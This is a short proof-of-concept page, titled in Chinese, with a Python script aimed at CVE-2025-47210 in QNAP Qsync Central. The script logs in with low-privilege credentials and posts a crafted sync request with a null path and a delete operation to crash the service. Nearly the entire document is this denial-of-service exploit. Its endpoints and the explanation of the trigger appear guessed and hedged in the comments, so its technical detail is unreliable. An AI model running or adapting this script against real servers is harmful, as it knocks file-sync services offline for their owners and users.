CVE-2025-47210 QNAP Qsync Central空指针解引用漏洞

# CVE-2025-47210 - QNAP Qsync Central NULL Pointer Dereference PoC # This PoC demonstrates triggering a NULL pointer dereference in Qsync Central # to cause a Denial of Service (DoS) condition. # # Requirements: # - Valid low-privilege user credentials for Qsync Central # - Python 3.x with requests library # - Target Qsync Central version < 5.0.0.2 import requests import sys TARGET_HOST = "https://target-qnap-ip:8080" USERNAME = "valid_user" PASSWORD = "valid_password" def trigger_null_deref(): """ Send a crafted request to trigger NULL pointer dereference in Qsync Central, causing service crash (DoS). """ session = requests.Session() # Step 1: Authenticate with valid credentials login_url = f"{TARGET_HOST}/qsync/login" login_data = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The specific endpoint/parameter that triggers the NULL deref # targets an uninitialized object reference in the sync processing logic trigger_url = f"{TARGET_HOST}/qsync/api/v1/sync" # Crafted payload targeting the vulnerable code path # The NULL pointer dereference occurs when processing certain sync # requests with malformed or unexpected parameters crafted_payload = { "action": "sync", "path": None, # NULL path triggers uninitialized pointer access "resource_id": "", # Empty resource ID "operation": "delete", # Operation that accesses uninitialized object "params": { "force": True, "recursive": True } } headers = { "Content-Type": "application/json", "User-Agent": "QsyncClient/1.0" } try: resp = session.post(trigger_url, json=crafted_payload, headers=headers, verify=False, timeout=10) print(f"[*] Trigger response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:200]}") except requests.exceptions.ConnectionError: print("[+] Target appears to have crashed - service unavailable!") return True except Exception as e: print(f"[*] Exception occurred (possible crash): {e}") return True return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-47210 - QNAP Qsync Central NULL Pointer Deref PoC") print("=" * 60) trigger_null_deref()